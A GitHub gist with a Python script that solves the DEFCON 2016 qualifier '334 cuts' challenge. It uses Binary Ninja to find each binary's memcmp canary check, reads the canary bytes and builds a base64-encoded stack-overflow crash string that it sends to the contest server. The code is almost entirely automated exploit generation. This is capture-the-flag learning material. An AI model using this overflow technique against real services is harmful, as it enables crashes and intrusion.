Skip to content

Instantly share code, notes, and snippets.

@withzombies
Last active March 26, 2023 16:22
Show Gist options
  • Save withzombies/3d7e2b077ba5af48ab1ba96678733e6f to your computer and use it in GitHub Desktop.
Save withzombies/3d7e2b077ba5af48ab1ba96678733e6f to your computer and use it in GitHub Desktop.
Script to solve the 334 cuts challenge from DEFCON 2016 quals using Binary Ninja
#!/usr/bin/env python
import sys
try:
import binaryninja
except ImportError:
sys.path.append("/Applications/Binary Ninja.app/Contents/Resources/python/")
import binaryninja
import time
import socket
import base64
s = socket.socket()
s.connect(('334_cuts_22ffeb97cf4f6ddb1802bf64c03e2aab.quals.shallweplayaga.me', 10334))
print "Msg: " + s.recv(1024)
def readUntil(s, delim):
msg = ""
while delim not in msg:
msg += s.recv(1)
return msg
msg = readUntil(s, '\n')
while True:
print
print
# They send us the challenge name to process.
msg = readUntil(s, '\n')
if 'segfault' in msg:
print msg
break
chal = msg.strip()
# Open a binary view to the challenge as an elf
print "Analyzing {0}".format(chal)
bv = binaryninja.BinaryViewType["ELF"].open(chal)
bv.update_analysis()
time.sleep(0.1) # bandaid until there's blocking analysis
# start at the entry point
print "Entry Point: {0:x}".format(bv.entry_point)
entry = bv.entry_function # Get the entry point as a function object
start = None
# Iterate over the basic blocks in the entry function
entry_calls = []
for block in entry.low_level_il:
# Iterate over the basic blocks getting il instructions
for il in block:
# We only care about calls
if il.operation == binaryninja.core.LLIL_CALL:
entry_calls.append(il)
start_call = entry_calls[1]
start = bv.get_function_at(bv.platform, start_call.operands[0].value)
print "start: {0}".format(start)
# Do the same thing with main, it's the first call in start
main = None
for block in start.low_level_il:
for il in block:
if il.operation != binaryninja.core.LLIL_CALL:
continue
main = bv.get_function_at(bv.platform, il.operands[0].value)
print "main: {0}".format(main)
# Collect all the call instructions in main
calls = []
for block in main.low_level_il:
for il in block:
if il.operation == binaryninja.core.LLIL_CALL:
calls.append(il)
# If there are 5 calls, then the memcmp is the second call. With 6 calls its the 3rd.
if len(calls) == 5:
read_buf = calls[0]
memcmp = calls[1]
else:
read_buf = calls[1]
memcmp = calls[2]
# Query the parameters to the memcmp
# memcmp(dst, src, length)
canary_frame = main.get_parameter_at(bv.arch, memcmp.address, None, 0)
canary_address = main.get_parameter_at(bv.arch, memcmp.address, None, 1)
canary_width = main.get_parameter_at(bv.arch, memcmp.address, None, 2)
# Use that to read the canary
canary = bv.read(canary_address.value, canary_width.value)
buffer_frame = main.get_parameter_at(bv.arch, read_buf.address, None, 0)
# The canary is between the buffer and the saved stack registers
buffer_size = (buffer_frame.offset - canary_frame.offset) * -1
print buffer_size
# Fill up the buffer
crash_string = "a" * buffer_size
# Append the checked bytes of the canary check (it's always 4)
crash_string += canary[:canary_width.value]
# Pad out the rest of the string canary buffer
crash_string += "a" * ((canary_frame.offset * - 1) - canary_width.value)
# overwrite the saved registers
crash_string += 'eeee'
crash_string += '\n'
# Send the crashing string to the service
b64 = base64.b64encode(crash_string)
print chal, canary, crash_string.strip(), b64
# Send the crashing string
s.send(b64 + "\n")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment